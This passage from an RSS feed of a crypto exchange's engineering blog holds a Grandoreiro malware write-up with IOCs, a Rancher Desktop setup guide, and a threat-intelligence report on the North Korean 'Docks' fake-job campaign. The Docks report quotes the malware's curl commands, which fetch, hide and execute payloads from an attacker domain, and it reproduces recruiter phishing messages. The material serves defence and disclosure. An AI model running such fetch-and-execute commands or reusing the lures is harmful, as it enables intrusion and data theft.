disappointing to see this distribution method, but at least the malware sample started downloading immediately, compressed as a 1.7MB zip file named “<em>IMPUES_TOTRIB-UTZMHYfcpyLUGCCHYMPLAG.zip</em>”.</p><p>Inside the zip file, the disappointment continued: there was an EXE file, just like the good old times, accompanied by an “XML” file which was actually another executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ugko-HyL9KPdXFmwU50mNQ.png" /></figure><p>What immediately caught my eye is the outstanding growth of the EXE file, which ballooned to 111MB. This growth is likely due to an artificial pattern that can be easily compressed for distribution, but expands upon decompression, potentially discouraging antivirus programs from scanning the file due to its size. To put things into <a href="https://www.reddit.com/r/compsci/comments/jh2wf1/comment/g9utsx8/?utm_source=share&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_term=1&amp;utm_content=share_button">common talk</a>, think about a malware developer adding 50.000 zeroes (“0” character) at a random point, which upon compression can be summarized as — using lots of imagination — “0*50.000” (50.000 times “0”), saving lots of space, but upon decompression will express every “0” character back, adding up to the final size.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gV-EU0qE9jqssBTNw7dc0A.png" /></figure><p>A quick analysis of both files pointed fingers to a usual suspect on the Banking Trojans Scene: Grandoreiro, a family which recently faced an <a href="https://www-brodersendarknews-com.translate.goog/p/grandoreiro-malware-bancario-desmantelado?_x_tr_sl=es&amp;_x_tr_tl=en&amp;_x_tr_hl=es-419&amp;_x_tr_pto=wapp#%C2%A7desarticulan-la-base-operativa-de-grandoreiro">important takedown of part of their infrastructure</a> at hands of Law Enforcement, and whose shenanigans are well known, <a href="https://bazaar.abuse.ch/browse.php?search=tag:grandoreiro">documented</a> and <a href="https://github.com/Dkavalanche/decoder">even fought back</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*705OBqAIOiaa-4MovU7XJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KG6NvaLcvVnfvYVz3gr-OA.png" /></figure><p>But what about their distribution domain? And I’m not talking about DropBox. The TA behind this effort used Azure to distribute the sample (URL available in the IOCs section). A quick look at its reputation and <a href="https://talosintelligence.com/reputation_center/lookup?search=139.162.3.243#email-history">email volume on Cisco Talos</a> tells us that it had a recent spike in its activity, marking that an active campaign took place after the “takedown” and is not residual activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*juyH9yB3Ryrcz-MLDpGaqQ.png" /></figure><p>Up to this point, we have seen a lot: compression and bloating tactics, oversizing files to discourage scanning, email sender spoofing, phishing via mass emailing (with almost no customization), good old .exe files sharing and even cheap JavaScript redirections… but all of these, techniques and artifacts, are long known and flagged, revealing what Grandoreiro truly is: an <em>old dog failing at learning new tricks</em>.</p><h3><strong>Appendix I: IOCs</strong></h3><blockquote>IP:139.162.3.243<br>Domain:rwveebye.christiangabanna.com<br>Domain:openingpdfdocxetc.southcentralus.cloudapp.azure.com<br>URL:https://openingpdfdocxetc.southcentralus.cloudapp.azure.com/mobile.html<br>URL:https://openingpdfdocxetc.southcentralus.cloudapp.azure.com/close.html<br>URL:https://openingpdfdocxetc.southcentralus.cloudapp.azure.com/?4443233_4984_880112695617-355202355202427608953904255539042555.pdf<br>SHA256:da21cb84f36e1ce6a90b69bddac50c4b28c9561913197c8f92f4dfe919102d74<br>File:PD-F_NOMINGMTShkbmAEOFVSDUIDUX.exe<br>SHA256:9b0db4ab7e469e1b74e801ed943e7deabe1ed4a6514d3755de7694c39852036a<br>File:IMPUES_TOTRIB-UTZMHYfcpyLUGCCHYMPLAG.zip<br>SHA256:f2d850025dd7b65c44d979ec74a3f5a77e1c15b4070812be5656887cee95dc59<br>File:2403758259580003.xml<br>String:Importante: Verificacion de Comprobante Fiscal Electronico CFDI880112</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=529ba082a33e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/malware-taxes-529ba082a33e">Malware &amp; Taxes</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Up and running with Rancher Desktop and Testcontainers on Apple M3]]></title>
            <link>https://medium.com/bitso-engineering/up-and-running-with-rancher-desktop-and-testcontainers-on-apple-m3-b57c4d9a8c99?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/b57c4d9a8c99</guid>
            <dc:creator><![CDATA[Joe Horsnell]]></dc:creator>
            <pubDate>Tue, 13 Feb 2024 15:43:59 GMT</pubDate>
            <atom:updated>2024-02-13T15:43:59.827Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NywcsKXlVU17b_PAmXMs8g.png" /></figure><p>At Bitso, we are passionate about great open-source software, such as <a href="https://rancherdesktop.io/">Rancher Desktop</a> and <a href="https://testcontainers.com/">Testcontainers</a>.</p><p>We are also committed to giving our engineers the best tools possible, so we are currently rolling out new high-spec M3 laptops across the engineering organisation.</p><p>This post covers some interesting issues we encountered testing Bitso’s primary development stack with Rancher Desktop on Apple M3 Silicon.</p><h3>Summary</h3><ul><li>The current Rancher Desktop version (<a href="https://github.com/rancher-sandbox/rancher-desktop/releases/tag/v1.12.3">1.12.3</a>) does <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/5943">not work</a> out of the box on Apple M3 due to a bug in QEMU, so you must use VZ emulation</li><li>Using VZ emulation causes a <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2854">conflict</a> with Cloudflare WARP and other DNS-related tools that expect to bind mDNSResponder on port 53, so needs a workaround</li><li><a href="https://testcontainers.com/">Testcontainers</a> does <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2609">not currently work</a> out of the box with Rancher Desktop on any Apple Silicon variants (eg M1, M2, etc.) and requires specific environment variables to be set</li></ul><h3>Rancher Desktop on M3</h3><p>Rancher Desktop is an open-source container management application for macOS, Linux, and Windows. It provides a Docker-compatible interface, including support for Docker Compose, so is a viable, free alternative to Docker Desktop for commercial use.</p><p>Rancher Desktop is<a href="https://docs.rancherdesktop.io/getting-started/installation/#macos"> supported</a> on macOS running on either Intel chips with<a href="https://en.wikipedia.org/wiki/X86_virtualization#Intel_virtualization_(VT-x)"> VT-x</a> instructions or Apple Silicon (M1) and has dedicated x64 and ARM64<a href="https://github.com/rancher-sandbox/rancher-desktop/releases"> builds</a>.</p><h4>Installation and overview</h4><p>See <a href="https://docs.rancherdesktop.io/getting-started/installation/#macos">here</a> for a quick overview of installation, or if you have Homebrew installed, you can just use the <a href="https://formulae.brew.sh/cask/rancher">rancher cask</a>:</p><pre>❯ brew install --cask rancher</pre><p><strong>Note</strong>: you will need to uninstall Docker Desktop if you installed it using Homebrew as the casks conflict. Currently Rancher Desktop <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/1081">does not detect</a> other container management applications running.</p><p>Rancher Desktop’s basic <a href="https://docs.rancherdesktop.io/references/architecture/">architecture</a> is an Electron GUI wrapped around several other tools to provide a simplified user experience for container management.</p><p>Under the hood, Rancher Desktop uses <a href="https://lima-vm.io/">Lima</a> (LInux MAchines) to provide a Linux virtual machine to run the required software, such as the container daemon (<a href="https://earthly.dev/blog/containerd-vs-docker/">containerd or dockerd</a>) and Kubernetes, if enabled.</p><p>Lima, in turn, depends on emulation software to provide the actual hardware virtualisation and offers different <a href="https://lima-vm.io/docs/config/vmtype/">VM types</a> depending on the host OS. On macOS, those options are either <a href="https://www.qemu.org/">QEMU</a> or experimental support for <a href="https://developer.apple.com/documentation/virtualization">VZ</a>, Apple’s native macOS Virtualisation Framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*HawA0sQ_zpTww-jQmtYqmA.png" /></figure><h4>Now to the issue…</h4><p>If you install Rancher Desktop on M3 with the default settings, it will just appear to hang saying “Starting virtual machine”, without the Docker daemon starting:</p><pre>❯ docker ps<br>Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?</pre><p>The <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/5943">issue</a> with running Rancher Desktop on M3 is caused by an <a href="https://github.com/lima-vm/lima/issues/1996">issue</a> in Lima, which in turn is caused by a <a href="https://gitlab.com/qemu-project/qemu/-/issues/1990">problem</a> in the bottom layer of these dependencies, QEMU, on M3.</p><p>You can see the exception in the logs:</p><pre>❯ head -5 ~/Library/Logs/rancher-desktop/lima.serial.log<br><br>UEFI firmware (version edk2-stable202302-for-qemu built at 17:14:55 on Mar 15 2023)<br>Error: Image at 0043FD41000 start failed: Not Found<br><br><br>Synchronous Exception at 0x000000043FD37E08</pre><p>If you’re interested in more detail, the issue threads have a lot more information. Still, until the underlying fix to QEMU makes its way up the chain of dependencies, the workaround for now is not to use QEMU and use the (experimental) VZ emulation instead.</p><p>Open the Rancher Desktop Preferences dialog, click <strong>Virtual Machine</strong>, then <strong>Emulation</strong>, and click <strong>VZ</strong> under <strong>Virtual Machine Type</strong>. You can also select <strong>Enable Rosetta support</strong> if you want to be able to run Intel images in Rancher Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DIU6hNuh2HrXvY0u" /></figure><p>Click <strong>Apply</strong>, which should restart Rancher Desktop with the new settings.</p><p><strong>Note</strong>: We found that this restart process can be <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/5943#issuecomment-1898155563">unreliable</a>, and rogue Rancher Desktop processes can be left running, so if things appear to be still not working, quit out of Rancher Desktop completely, then in your terminal, make sure there are no Rancher Desktop processes still running:</p><pre>❯ ps auxww | grep -i rancher<br><br># kill -9 any rogue Rancher Desktop process IDs</pre><p>Simply <em>kill — 9</em> any Rancher Desktop processes still running, then restart Racher Desktop.</p><h4>Further gotcha with Cloudflare WARP</h4><p>If you use <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/">Cloudflare WARP</a> or any other DNS-related tools that expect to be able to run <a href="https://developer.apple.com/library/archive/documentation/Networking/Conceptual/dns_discovery_api/Introduction.html">mDNSResponder</a> on port 53, you may also encounter <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2854">this</a> issue, where Rancher Desktop causes a conflict by taking over port 53.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*Bcm_oc6Iorg15jqY" /></figure><p>The <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2854#issuecomment-1917593505">workaround</a> suggested in the issue thread only works when using QEMU emulation, so for M3, where you must use VZ for now, the workaround <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2854#issuecomment-1916635386">does not work</a>.</p><p>There is no official workaround for this issue currently. Still, <strong>you can manually get things working</strong> by ensuring that Cloudflare WARP is running and connected first before running Rancher Desktop, which will then pick another port.</p><h3>Test containers on Apple Silicon</h3><p>Testcontainers is a powerful open source framework for bootstrapping infrastructure dependencies, such as Postgres databases and Redis caches, for integration tests using containers.</p><p>If you try and use Rancher Desktop as a drop-in replacement for Docker Desktop with Testcontainers on Apple Silicon, you may run into <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2609">this</a> issue and find that Testcontainers can’t connect, giving an error like the Java example below:</p><pre>Can not connect to Ryuk at localhost:32768<br>java.net.ConnectException: Connection refused</pre><p>There is currently no fix for this issue; the exact cause is unknown. However, you can work around it by setting some environment variables <a href="https://github.com/rancher-sandbox/rancher-desktop/issues/2609#issuecomment-1718556068">mentioned</a> in the issue thread by <a href="https://github.com/jandubois">@jandubois</a> of the Rancher team and <a href="https://docs.rancherdesktop.io/how-to-guides/using-testcontainers">documented</a> in the Rancher guides.</p><p>The environment variables you must export in your shell vary depending on whether you are running Rancher Desktop with administrative access or not:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b-xIseNzo84T-5n2" /></figure><h4>With Administrative Access</h4><pre>export TESTCONTAINERS_HOST_OVERRIDE=$(rdctl shell ip a show vznat | awk &#39;/inet / {sub(&quot;/.*&quot;,&quot;&quot;); print $2}&#39;)</pre><h4>Without Administrative Access</h4><pre>export DOCKER_HOST=unix://$HOME/.rd/docker.sock<br>export TESTCONTAINERS_DOCKER_SOCKET_OVERRIDE=/var/run/docker.sock<br>export TESTCONTAINERS_HOST_OVERRIDE=$(rdctl shell ip a show vznat | awk &#39;/inet / {sub(&quot;/.*&quot;,&quot;&quot;); print $2}&#39;)</pre><p>These environment variables must be exported in your shell before running any builds that use Testcontainers.</p><p>That’s it — we hope you found this post useful!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b57c4d9a8c99" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/up-and-running-with-rancher-desktop-and-testcontainers-on-apple-m3-b57c4d9a8c99">Up and running with Rancher Desktop and Testcontainers on Apple M3</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docks: Profiling & Disrupting (yet another) State-Sponsored campaign targeting the crypto space]]></title>
            <link>https://medium.com/bitso-engineering/docks-profiling-disrupting-yet-another-state-sponsored-campaign-targeting-the-crypto-space-a81a1db4173b?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/a81a1db4173b</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[north-korea]]></category>
            <category><![CDATA[web3]]></category>
            <dc:creator><![CDATA[Mauro Eldritch]]></dc:creator>
            <pubDate>Fri, 09 Feb 2024 08:32:07 GMT</pubDate>
            <atom:updated>2024-02-16T16:06:52.184Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>@MauroEldritch, Quetzal Team @ Bitso — 2024</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUomr_KxKekrhNpRg9Z_rQ.jpeg" /><figcaption>Chollima Statue in North Korea. Credits: Nicor.</figcaption></figure><h3>An important announcement</h3><p>If you’ve been following my previous articles, you may have noticed a change in my signature. I am now taking part in an exciting new project at <strong>Bitso</strong>, leading the internal <strong>Web3 Threat Research Team</strong> called <strong>Quetzal</strong>. Our focus and commitment are to deliver high-quality threat intelligence reports on advanced persistent threats (APTs) and state-sponsored threats targeting the crypto space, safeguarding not only <strong>Bitso</strong> but also contributing to making the entire crypto space a safer environment for everyone.</p><p>In the past, despite lacking a formal Research Team, <strong>Bitso</strong> has successfully confronted organized cybercrime operations carried out by entities like <a href="https://www.proofpoint.com/us/blog/threat-insight/ransom-ddos-extortion-actor-fancy-lazarus-returns">Fancy Lazarus</a> (<a href="https://www.cloudflare.com/en-gb/learning/ddos/ransom-ddos-attack/">RansomDDoS</a>), <a href="https://attack.mitre.org/groups/G0032/">Lazarus’ Labyrinth Chollima</a> (<a href="https://otx.alienvault.com/pulse/64cfcc366fc8f13ce315f39a">QRLog</a>), and <a href="https://attack.mitre.org/groups/G0120/">EVILNUM</a> (<a href="https://medium.com/bitso-engineering/profiling-disrupting-an-apt-spear-phishing-campaign-targeting-slack-users-in-the-financial-sector-9389533d5fc2">EvilSlack Campaign</a>). Today, I’m thrilled to announce our inaugural research as a formal team: <strong>Profiling and Disrupting the Docks Malware Campaign</strong>. This <strong>state-sponsored</strong> campaign poses a significant threat to the crypto sector, and we are proud to be the first in the world to address it head-on.</p><p>As a final clarification, while I’m the author of <em>this</em> article, the entire research was carried out by members of this Team who are properly credited at the end of this document.</p><h3>Introduction: February again</h3><p>In February 2023, we uncovered a sample of a State-Sponsored malware embedded within a legitimate QR code generator — <a href="https://github.com/birminghamcyberarms/QRLog/">QRLog</a> — attributed to <a href="https://attack.mitre.org/groups/G0032/">Labyrinth Chollima</a> (North Korea).</p><p>Now, a year later, history seems to repeat itself once more as another malware campaign from a State-Sponsored Actor emerges, once again targeting the crypto space. Join us in this new research effort to profile and disrupt yet another nation-backed campaign.</p><h3>Corporate Catfish</h3><p>In the world of cyber espionage, threat actors (TAs) employ sophisticated tactics to infiltrate organizations, and the crypto space is no exception. On this campaign, TAs target technical employees within crypto exchanges, engaging with them through professional platforms like LinkedIn and sometimes Twitter (X). Posing as representatives from reputable crypto exchanges, they lure victims with lucrative job offers (refer to the Appendix II for a detailed outline of this phishing campaign).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*3pSolOBePJ1n8QeMq6kivA.png" /><figcaption>Threat Actors posing as recruiters on LinkedIn and Twitter (X)</figcaption></figure><p>Once the victim takes the bait, the TA orchestrates a fake interview, presenting a code challenge under the guise of assessing the candidate’s technical prowess. However, unbeknownst to the victim, the code challenge is infected with a malicious implant, initiating a silent infection chain. We managed to get one of these artifacts and then our journey began.</p><h3>Docks</h3><p>This malicious challenge, dubbed “<strong>SlackToCSV</strong>”, catalyzes the infection: It downloads fake binaries posing as <a href="https://wikipedia.org/wiki/Zsh">Zsh</a> and <a href="https://visualstudio.microsoft.com/">Visual Studio</a> Updater from a newly observed domain in the wild. Operating in a manner reminiscent of previous state-sponsored or advanced persistent threat (APT) campaigns like <strong>QRLog</strong>, the malware compresses the victim’s home folder and other interesting files, moving them to a hidden folder named “.docks” which will be later used for exfiltration. This behavior led me to name it “<strong>Docks</strong>”.</p><p>What’s particularly alarming about Docks is the lack of detections of its binaries: Our submissions to VirusTotal yielded <strong>no prior detections </strong>[2], indicating that <strong>we were the first to encounter (and profile) this never-before-seen campaign</strong>. Just a day later, Microsoft flagged the counterfeit Visual Studio Code Updater as a Generic Trojan [3], further underscoring the severity of the threat at hand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQ-tYcnHkge19WhCBpUYjg.png" /><figcaption>Malicious component “zshrc2” had no detections.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KbGFOW6hCCDChO3y5o-R7w.png" /><figcaption>Malicious component “VisualStudioUpdating” had one detection as “Generic”.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cVbZFT_cEyVOKvlQsSRKw.png" /><figcaption>Kaspersky OpenTip flags the domain as “Good”.</figcaption></figure><p>Docks features an rather simple but interesting <strong>infection chain:</strong></p><ol><li>Download a fake ZSH binary (<a href="https://www.vocabulary.com/dictionary/novel">novel sample</a>): <br><em>bash -c cd /Users/$USER/.local/ &amp;&amp; curl -O -s </em><a href="https://sarkerrentacars[.]com/zshrc2"><em>https://sarkerrentacars[.]com/zshrc2</em></a><em> &amp;&amp; chmod +x zshrc2 &amp;&amp; chflags hidden zshrc2 &amp;&amp; ./zshrc2</em></li><li>Download a fake Visual Studio Update (<a href="http://vocabulary.com/dictionary/novel">novel sample</a>):<br><em>bash -c cd /Users/$USER/ &amp;&amp; curl -O -s </em><a href="https://sarkerrentacars[.]com/VisualStudioUpdating"><em>https://sarkerrentacars[.]com/VisualStudioUpdating</em></a><em> &amp;&amp; chmod +x VisualStudioUpdating &amp;&amp; chflags hidden VisualStudioUpdating &amp;&amp; ./VisualStudioUpdating</em></li><li>Copy all interesting files and a compressed copy of the home folder to <em>$HOME/.docks</em></li><li>Exfiltrate files to designated C2/exfiltration server.</li></ol><p>Throughout the incident, unbeknownst to the threat actor, their malware operated within a controlled environment (sandbox), resulting in restricted communication, <strong>blocking all exfiltration attempts</strong> leading to<strong> no data being compromised </strong>(leaked).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d32debB47yg5Vl9A-kCAgQ.png" /><figcaption>Infection chain overview on Crowdstrike Falcon</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RLNyxSAr4Lj8XIpP0YDbaQ.png" /><figcaption>Infection chain overview on Crowdstrike Falcon</figcaption></figure><p>The simple yet destructive behavior of “Docks” consistently brought to mind <strong>Labyrinth Chollima’s QRLog</strong>. There’s a reason behind this association.</p><h3>Smooth as Velvet…</h3><p>The domain from which the samples were distributed was generated by a <a href="https://en.wikipedia.org/wiki/Domain_generation_algorithm">Domain Generation Algorithm (DGA)</a>, a common technique employed by State-Sponsored or Advanced Persistent Threats (APTs). Upon tracing back the domain, we discovered significant correlations with previous intelligence and recycled infrastructure, often utilized in prior campaigns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IG_O1MSXT4S60HRXFo3yDg.png" /><figcaption>Domain intelligence overview on AlienVault OTX (no detections)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJosqrFBc8UD_izc315_pA.png" /><figcaption>Associated domains overview on AlienVault OTX</figcaption></figure><p>Utilizing the <a href="https://github.com/MauroEldritch/bIOChip">bIOChip</a> tool, developed for correlating APT activity with specific domains, we achieved a High-Confidence -but not final- attribution rating to a State-Sponsored Actor. Further correlation of existing intelligence [1] surrounding the TA’s infrastructure led us to believe <strong>Kimsuky</strong> / <strong>Velvet Chollima</strong>, an elite division within the <a href="http://www.apple.com/la">DPRK RGB (Democratic Republic of North Korea’s Reconnaissance General Bureau)</a>, more commonly known as <strong>LAZARUS may be behind this effort</strong>. This division is notorious for its fierce attacks and espionage operations [5][6][7], sharing the same threat level as <strong>Ricochet Chollima</strong> and surpassing divisions like <strong>Labyrinth</strong> (<strong>QRLog</strong>), <strong>Stardust</strong>, and <strong>Silent Chollima</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqOLr6aL8oQscIUsIjQELQ.png" /><figcaption>Extract from bIOChip’s output, associating previously used domains tied to current adversary infrastructure to Kimsuky (Velvet Chollima)</figcaption></figure><h3>… But soft as a plushie</h3><p>So, once again, we find ourselves fending off a North Korean State-Sponsored Actor, who attempted to target the crypto space — and specifically, our crypto exchange — with a smooth-as-velvet intrusion, but ended up being just a soft cuddly plushie displayed on our trophy racks, side by side with Labyrinth Chollima.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h5tADgmP3nFTx_icvrZpzA.png" /><figcaption>AlienVault OTX intelligence pulse sharing IOCs for Docks for the first time worldwide</figcaption></figure><h3>Acknowledgements</h3><p>Lots of people were involved in this research, whose efforts were indispensable to bring this article today. We extend our heartfelt gratitude to the following individuals for their invaluable contributions:</p><ul><li><strong>Luis Noriega</strong> &amp; <strong>Emilio Revelo</strong> for coordinating the research.</li><li><strong>Nelson Colón</strong> for providing IOCs and reversing the malware samples, sharing useful insight on its infection chain.</li><li><strong>Rigoberto Montiel</strong>, <strong>Luis Ríos</strong> and <strong>Augusto Evangelista</strong> for their early detection, sharing invaluable intel about the activity carried out by the actor.</li><li><strong>Cristian Lomelli</strong> and <strong>Marco Navarro</strong> for handling the research postmortem making sure everything is clean and working smoothly.</li></ul><h3>Appendix I: IOCs</h3><h4>Primary</h4><blockquote>URL:sarkerrentacars.com/zshrc2<br>URL:sarkerrentacars.com/VisualStudioUpdating<br>Domain:serviceicloud.com<br>Domain:sarkerrentacars.com<br>IP:85.187.128.40<br>IP:72.21.81.200<br>File:zshrc2<br>File:VisualStudioUpdating<br>File:.docks<br>File:SlackToCsv.Test.csproj <br>File:SlackToCsv.zip<br> SHA256:e96c13667bccd6c6c38d9797b15642bfea19080f9bc90d944e7ae6abfb4c64be<br>MD5:5fcc12eaba8185f9d0ddecafae8fd2d1<br>SHA256:fe565f4296570a89893828cdd61c6421cf745bab220e21cebce226863d5772a0<br>MD5:b67bba781e5cf006bd170a0850a9f2d0<br>SHA256:97014cc9b69077a9aa291cd2d4d668dc66f093b564d6d2844933c7932374508f<br>MD5:9a5fdacb3b42ec5d2d2b1dd49c132829</blockquote><h4>Secondary / Associated</h4><blockquote><em>URL:sarkerrentacars.com<br>URL:kissgy.com<br>URL:dogneedsex.com<br>URL:ethanypin.com<br>URL:xem16.com<br>URL:cutiepins.com<br>URL:ikafan.com<br>URL:wimpless.com<br>URL:taohuazu.com<br>URL:mnchost.com<br>URL:zoopussy.com<br>URL:corights.net<br>URL:account-aljazeera.net<br>URL:bcvps.com<br>URL:afterfive.net<br>URL:grn.cc<br>URL:hotmoza.com<br>URL:origaminow.com<br>URL:tietuku.com<br>URL:vaginabasah.net<br>URL:realfreegames.net<br>URL:a-fondness-for-beauty.com<br>URL:plaza-care.com<br>URL:sett.com<br>URL:tuzuopeng.com<br>URL:peicompany.com<br>URL:dongbangchem.com<br>URL:lotscloud.com<br>URL:animepahe.com<br>URL:ricenmore.com<br>URL:mybbse.net<br>URL:chatconnecting.com<br>URL:antigmo.net<br>URL:hondavids.com<br>URL:aeromodelismonapratica.com<br>URL:tortivarna.com<br>URL:leakchannel.com<br>URL:net-server1.com<br>URL:jsnarvasa.com<br>URL:apartmentcharlie-zagreb.com<br>URL:wetcottonballs.com<br>URL:bokepshare.com<br>URL:cashyeild.com<br>URL:gotrkfast.com<br>URL:bokep8.com<br>URL:ipchanged.com<br>URL:sexroom10.com<br>URL:download-video-bokep.com<br>URL:dark69.com<br>URL:abidingwordchurch.com<br>URL:thezootube.com<br>URL:meyhanesepeti.com<br>URL:orafaq.net<br>URL:cuteyoungporn.com<br>URL:gdmachinery.net<br>URL:fulltemplatedownloads.com<br>URL:cheapjordans.net<br>URL:gstarboard.com<br>URL:k9beast.com<br>URL:gurupiano.com<br>URL:hostblast.net<br>URL:danawg.com<br>URL:jv2win.com<br>URL:phimxh.com<br>URL:sesez.com<br>URL:lanyus.com<br>URL:extreime-net.com<br>URL:mommy8.com<br>URL:91r.net<br>URL:npahrs.com<br>URL:google-script.com<br>URL:chosuckhoe.net<br>URL:beimishoes.com<br>URL:anti-spyware-software.net<br>URL:36porn.com<br>URL:wenku8.com<br>URL:qki6.com<br>URL:trkdb.com<br>URL:bbinslv.com<br>URL:gap-facebook.com<br>URL:fbdownvid.com<br>URL:usa.cc<br>URL:showmyipaddress.com<br>URL:hocsex.com<br>URL:noies-despullades.com<br>URL:melieehats.com<br>URL:titlndform.com<br>URL:animalpornotube.com<br>URL:markstvic.com<br>URL:snapdealist.com<br>URL:kinkyshare.com<br>URL:indo84.com<br>URL:creative.com<br>URL:dog-sex-tube.com<br>URL:englicist.com<br>URL:newbrazzers.com<br>URL:lebenna.com<br>URL:gtplanet.net<br>URL:ebook3000.com<br>URL:pc-speedup.net<br>URL:nandoliachemicals.net<br>URL:togethercreation.com<br>URL:pubailresortclub.com<br>URL:sgloanaid.com<br>URL:mdmehedihasan-bd.com<br>URL:shalbonsweets.com<br>URL:myplugintheme.com<br>URL:meqapersonels.com<br>URL:openerhospitality.com<br>URL:iqramadrasah.com<br>URL:ashiqulbd.com<br>URL:m-meraki.com<br>URL:topupdatenews24.com<br>URL:themeplagins.xyz<br>URL:bigbazaarweb.com<br>URL:eclipse-bd.com<br>URL:microjobbd.com<br>URL:24banglahd.xyz</em></blockquote><h3>Appendix II: Bait &amp; Switch</h3><p>This appendix provides a short outline of the sophisticated phishing campaign that targeted our users via social media platforms such as Twitter and LinkedIn. The campaign involved threat actors posing as representatives from reputable crypto exchanges, luring victims with lucrative job offers in order to infiltrate our organization’s network</p><h4>Twitter Campaign</h4><p><strong>Name</strong>: Alice Larson<br><strong>Profile</strong>: <em>@larsonn_alice<br></em><strong>Profile picture link</strong>: <a href="https://pbs.twimg.com/profile_images/1749886231201153024/BrkiWfIE_400x400.jpg"><em>https://pbs.twimg.com/profile_images/1749886231201153024/BrkiWfIE_400x400.jpg</em></a><em><br></em><strong>Conversation opener:<br></strong><em>Hi. We have a position of Senior Software Developer in PancakeSwap, the salary is biweekly in crypto or direct deposit. per month the rate can be up to 24000$, or hourly payment.<br> If you are interested? please send me your phone number and e-mail address for additional information, we can set up a call and I will tell you everything in details.</em></p><h4>LinkedIn</h4><p><strong>Name:</strong> Nargis Begum<br><strong>Company:</strong> PancakeSwap<br><strong>Profile:</strong> <a href="https://www.linkedin.com/in/nargis-begum-7484992b1/"><em>https://www.linkedin.com/in/nargis-begum-7484992b1/</em></a><em><br></em><strong>Profile picture link:</strong> <a href="https://media.licdn.com/dms/image/D4D03AQHafYz4P6_l_A/profile-displayphoto-shrink_800_800/0/1706693765650?e=1712188800&amp;v=beta&amp;t=lx8ICd6kGvUahw5V6mwH8w41X17u826T7NyBqA8YB8I"><em>https://media.licdn.com/dms/image/D4D03AQHafYz4P6_l_A/profile-displayphoto-shrink_800_800/0/1706693765650?e=1712188800&amp;v=beta&amp;t=lx8ICd6kGvUahw5V6mwH8w41X17u826T7NyBqA8YB8I</em></a><em><br></em><strong>Description:<br></strong><em>As a HR Manager at PancakeSwap, the leading decentralized cryptocurrency exchange platform, I leverage my master’s degree in finance and my previous experience as a finance specialist at FOREX to manage the human resources functions of a fast-growing and innovative company. I have over five years of experience in human resources, and over three years of experience in the finance sector, where I gained valuable skills in cryptocurrency investment, risk management, and compliance. I am passionate about creating a diverse, inclusive, and supportive work environment for the PancakeSwap team, as well as attracting and retaining top talent in the crypto industry. I am also committed to learning and developing new skills and competencies in the rapidly evolving field of cryptocurrency exchange platforms.<br></em><strong>Conversation opener:<br></strong><em>Hi. We have a position of Senior Software Engineer in PancakeSwap, the salary is biweekly in crypto or direct deposit. per month the rate can be up to 21000$, or hourly payment. <br> If you are interested? please send me your phone number and e-mail address for additional information, we can set up a call and I will tell you everything in details.<br> Nargis Begum<br> Human Resources @ PancakeSwap |Finance, Management</em></p><h4>Voight Kampff 